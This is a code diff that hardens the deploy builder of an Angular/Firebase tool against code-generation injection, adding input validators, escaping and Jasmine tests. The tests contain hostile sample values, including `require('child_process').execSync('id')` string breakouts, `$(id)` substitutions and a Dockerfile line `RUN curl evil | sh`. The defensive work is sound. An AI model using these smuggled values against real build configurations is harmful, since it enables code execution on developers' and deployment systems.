fix(deploy): prevent code-generation injection from angular.json values

src/schematics/deploy/actions.jasmine.ts

@@ -1,9 +1,10 @@
 /* eslint-disable @typescript-eslint/no-empty-function */
 import { join } from 'path';
+import { Script } from 'vm';
 import { BuilderContext, BuilderRun, ScheduleOptions, Target } from '@angular-devkit/architect';
 import { JsonObject, logging } from '@angular-devkit/core';
 import { BuildTarget, FSHost, FirebaseDeployConfig, FirebaseTools } from '../interfaces';
-import deploy, { deployToFunction } from './actions.js'
+import deploy, { assertSafeFunctionName, assertSafeNodeVersion, assertSafeOutputPath, deployToCloudRun, deployToFunction } from './actions.js'
 import 'jasmine';
 
 let context: BuilderContext;
@@ -300,3 +301,115 @@ describe('universal deployment', () => {
     expect(spy).not.toHaveBeenCalled();
   });*/
 });
+
+describe('deploy codegen input validation (injection hardening)', () => {
+  describe('assertSafeOutputPath', () => {
+    ['dist/browser', 'dist/server', 'dist/my-app/browser', 'out', 'a.b-c_d/e'].forEach((p) => {
+      it(`allows the valid outputPath "${p}"`, () => {
+        expect(assertSafeOutputPath(p, 'proj:server')).toBe(p);
+      });
+    });
+
+    [`x'); require('child_process').execSync('id'); ('`, 'a`id`', 'a$(id)', 'a;b', 'a\nb', 'a"b', 'a|b'].forEach((p) => {
+      it(`rejects the unsafe outputPath ${JSON.stringify(p)}`, () => {
+        expect(() => assertSafeOutputPath(p, 'proj:server')).toThrowError(/Unsafe outputPath/);
+      });
+    });
+  });
+
+  describe('assertSafeNodeVersion', () => {
+    [undefined, 18, 20, '18', '18.19', '20.11.1'].forEach((v) => {
+      it(`allows the valid functionsNodeVersion ${JSON.stringify(v)}`, () => {
+        expect(() => assertSafeNodeVersion(v as string | number | undefined)).not.toThrow();
+      });
+    });
+
+    ['18-slim\nRUN curl evil | sh', '18 && id', 'latest', '18;id', '$(id)'].forEach((v) => {
+      it(`rejects the unsafe functionsNodeVersion ${JSON.stringify(v)}`, () => {
+        expect(() => assertSafeNodeVersion(v)).toThrowError(/Unsafe functionsNodeVersion/);
+      });
+    });
+  });
+
+  describe('assertSafeFunctionName', () => {
+    [undefined, 'ssr', 'ssrHandler', '_app', '$fn', 'a1'].forEach((n) => {
+      it(`allows the valid functionName ${JSON.stringify(n)}`, () => {
+        expect(() => assertSafeFunctionName(n as string | undefined)).not.toThrow();
+      });
+    });
+
+    [`ssr; require('child_process').execSync('id'); var _x`, 'my-fn', 'a b', '1fn', 'a.b', `a'`].forEach((n) => {
+      it(`rejects the unsafe functionName ${JSON.stringify(n)}`, () => {
+        expect(() => assertSafeFunctionName(n)).toThrowError(/Unsafe functionName/);
+      });
+    });
+  });
+});
+
+// These drive the builders end-to-end so the protection cannot be silently dropped:
+// each fails if the corresponding assert call is removed from deployToFunction /
+// deployToCloudRun, rather than only exercising the validators in isolation.
+describe('deploy codegen hardening is wired into the builders', () => {
+  beforeEach(() => initMocks());
+
+  const withServerOutputPath = (outputPath: string) => ((target: Target) => {
+    if (target.target === 'build') { return { outputPath: 'dist/browser' }; }
+    if (target.target === 'server') { return { outputPath }; }
+    return undefined;
+  }) as unknown as BuilderContext['getTargetOptions'];
+
+  const EVIL_PATH = `dist'); require('child_process').execSync('id'); ('`;
+
+  it('deployToFunction rejects a hostile server outputPath', async () => {
+    context.getTargetOptions = withServerOutputPath(EVIL_PATH);
+    await expectAsync(deployToFunction(
+      firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
+      { preview: false }, undefined, fsHost
+    )).toBeRejectedWithError(/Unsafe outputPath/);
+  });
+
+  it('deployToFunction rejects a server outputPath that starts with a dash', async () => {
+    context.getTargetOptions = withServerOutputPath('-rf');
+    await expectAsync(deployToFunction(
+      firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
+      { preview: false }, undefined, fsHost
+    )).toBeRejectedWithError(/Unsafe outputPath/);
+  });
+
+  it('deployToFunction rejects a functionName that is not a plain identifier', async () => {
+    await expectAsync(deployToFunction(
+      firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
+      { preview: false, functionName: `ssr; require('child_process').execSync('id'); var _x` },
+      undefined, fsHost
+    )).toBeRejectedWithError(/Unsafe functionName/);
+  });
+
+  it('deployToFunction escapes region into the generated function instead of interpolating it raw', async () => {
+    const spy = spyOn(fsHost, 'writeFileSync');
+    const region = `us-central1'); require('child_process').execSync('id'); ('`;
+    await deployToFunction(
+      firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
+      { preview: false, region }, undefined, fsHost
+    );
+    const indexJs = spy.calls.argsFor(1)[1] as string;
+    expect(indexJs).toContain(`.region(${JSON.stringify(region)})`);
+    // The payload survives only as data inside a string literal: compiling the source
+    // (without running it) still parses, so nothing broke out of the literal.
+    expect(() => new Script(indexJs)).not.toThrow();
+  });
+
+  it('deployToCloudRun rejects a hostile server outputPath', async () => {
+    context.getTargetOptions = withServerOutputPath(EVIL_PATH);
+    await expectAsync(deployToCloudRun(
+      firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
+      { preview: false }, undefined, fsHost
+    )).toBeRejectedWithError(/Unsafe outputPath/);
+  });
+
+  it('deployToCloudRun rejects a hostile functionsNodeVersion', async () => {
+    await expectAsync(deployToCloudRun(
+      firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
+      { preview: false, functionsNodeVersion: '18-slim\nRUN curl evil | sh' }, undefined, fsHost
+    )).toBeRejectedWithError(/Unsafe functionsNodeVersion/);
+  });
+});

src/schematics/deploy/actions.ts

@@ -64,6 +64,45 @@ export type DeployBuilderOptions = DeployBuilderSchema & Record<string, any>;
 
 const escapeRegExp = (str: string) => str.replace(/[-[\]/{}()*+?.\\^$|]/g, '\\$&');
 
+// A build target's outputPath (from angular.json's architect.<project>.<build>.options)
+// is interpolated raw into generated Cloud Function source (`require('./<path>/main')`)
+// and into the generated package.json start script (`node <path>/main.js`), both of which
+// are later executed. Reject values carrying quotes, backslashes, newlines or shell
+// metacharacters, which could break out of that string literal or command, and reject a
+// leading dash, which the start script's `node <path>/main.js` would read as a flag.
+export const assertSafeOutputPath = (outputPath: string, targetName: string): string => {
+  if (/['"`\\\r\n;$&|<>(){}]/.test(outputPath) || outputPath.startsWith('-')) {
+    throw new SchematicsException(
+      `Unsafe outputPath ${JSON.stringify(outputPath)} for target '${targetName}' in angular.json.`
+    );
+  }
+  return outputPath;
+};
+
+// functionName is interpolated raw into the generated Cloud Function source as the
+// `exports.<name>` assignment target (functions-templates.ts), which is executed when the
+// function loads. Allow only a plain JavaScript identifier so it cannot introduce further
+// statements; this also turns a name that would silently produce an unparseable file (for
+// example one containing a dash) into an explicit error.
+export const assertSafeFunctionName = (functionName: string | undefined): void => {
+  if (functionName !== undefined && !/^[A-Za-z_$][A-Za-z0-9_$]*$/.test(functionName)) {
+    throw new SchematicsException(
+      `Unsafe functionName ${JSON.stringify(functionName)} in angular.json; expected a plain identifier.`
+    );
+  }
+};
+
+// functionsNodeVersion is interpolated raw into the generated Dockerfile's FROM line
+// (`FROM node:<version>-slim`), executed during the Cloud Run container build. Restrict it
+// to a plain version so it cannot inject extra Dockerfile instructions.
+export const assertSafeNodeVersion = (version: string | number | undefined): void => {
+  if (version !== undefined && !/^\d+(\.\d+)*$/.test(String(version))) {
+    throw new SchematicsException(
+      `Unsafe functionsNodeVersion ${JSON.stringify(version)} in angular.json.`
+    );
+  }
+};
+
 const moveSync = (src: string, dest: string) => {
   copySync(src, dest);
   removeSync(src);
@@ -178,18 +217,21 @@ export const deployToFunction = async (
       `Cannot read the output path option of the Angular project '${staticBuildTarget.name}' in angular.json`
     );
   }
+  assertSafeOutputPath(staticBuildOptions.outputPath, staticBuildTarget.name);
 
   const serverBuildOptions = await context.getTargetOptions(targetFromTargetString(serverBuildTarget.name));
   if (!serverBuildOptions.outputPath || typeof serverBuildOptions.outputPath !== 'string') {
     throw new Error(
       `Cannot read the output path option of the Angular project '${serverBuildTarget.name}' in angular.json`
     );
   }
+  assertSafeOutputPath(serverBuildOptions.outputPath, serverBuildTarget.name);
 
   const staticOut = join(workspaceRoot, staticBuildOptions.outputPath);
   const serverOut = join(workspaceRoot, serverBuildOptions.outputPath);
 
   const functionsOut = options.outputPath ? join(workspaceRoot, options.outputPath) : dirname(serverOut);
+  assertSafeFunctionName(options.functionName);
   const functionName = options.functionName || DEFAULT_FUNCTION_NAME;
 
   const newStaticOut = join(functionsOut, staticBuildOptions.outputPath);
@@ -297,13 +339,15 @@ export const deployToCloudRun = async (
       `Cannot read the output path option of the Angular project '${staticBuildTarget.name}' in angular.json`
     );
   }
+  assertSafeOutputPath(staticBuildOptions.outputPath, staticBuildTarget.name);
 
   const serverBuildOptions = await context.getTargetOptions(targetFromTargetString(serverBuildTarget.name));
   if (!serverBuildOptions.outputPath || typeof serverBuildOptions.outputPath !== 'string') {
     throw new Error(
       `Cannot read the output path option of the Angular project '${serverBuildTarget.name}' in angular.json`
     );
   }
+  assertSafeOutputPath(serverBuildOptions.outputPath, serverBuildTarget.name);
 
   const staticOut = join(workspaceRoot, staticBuildOptions.outputPath);
   const serverOut = join(workspaceRoot, serverBuildOptions.outputPath);
@@ -336,6 +380,7 @@ export const deployToCloudRun = async (
     JSON.stringify(packageJson, null, 2),
   );
 
+  assertSafeNodeVersion(options.functionsNodeVersion);
   fsHost.writeFileSync(
     join(cloudRunOut, 'Dockerfile'),
     dockerfile(options)

src/schematics/deploy/functions-templates.ts

@@ -42,7 +42,7 @@ require("firebase-functions/logger/compat");
 const expressApp = require('./${path}/main').app();
 
 exports.${functionName || DEFAULT_FUNCTION_NAME} = functions
-  .region('${options.region || DEFAULT_FUNCTION_REGION}')
+  .region(${JSON.stringify(options.region || DEFAULT_FUNCTION_REGION)})
   .runWith(${JSON.stringify(options.functionsRuntimeOptions || DEFAULT_RUNTIME_OPTIONS)})
   .https
   .onRequest(expressApp);

src/schematics/deploy/schema.json

@@ -51,10 +51,12 @@
     },
     "functionName": {
       "type": "string",
+      "pattern": "^[A-Za-z_$][A-Za-z0-9_$]*$",
       "description": "The name of the Cloud Function or Cloud Run serviceId to deploy SSR to"
     },
     "functionsNodeVersion": {
       "oneOf": [{ "type": "number" }, { "type": "string" }],
+      "pattern": "^\\d+(\\.\\d+)*$",
       "description": "Version of Node.js to run Cloud Functions / Run on"
     },
     "CF3v2": {
@@ -63,6 +65,7 @@
     },
     "region": {
       "type": "string",
+      "pattern": "^[a-z0-9-]+$",
       "description": "The region to deploy Cloud Functions or Cloud Run to"
     },
     "outputPath": {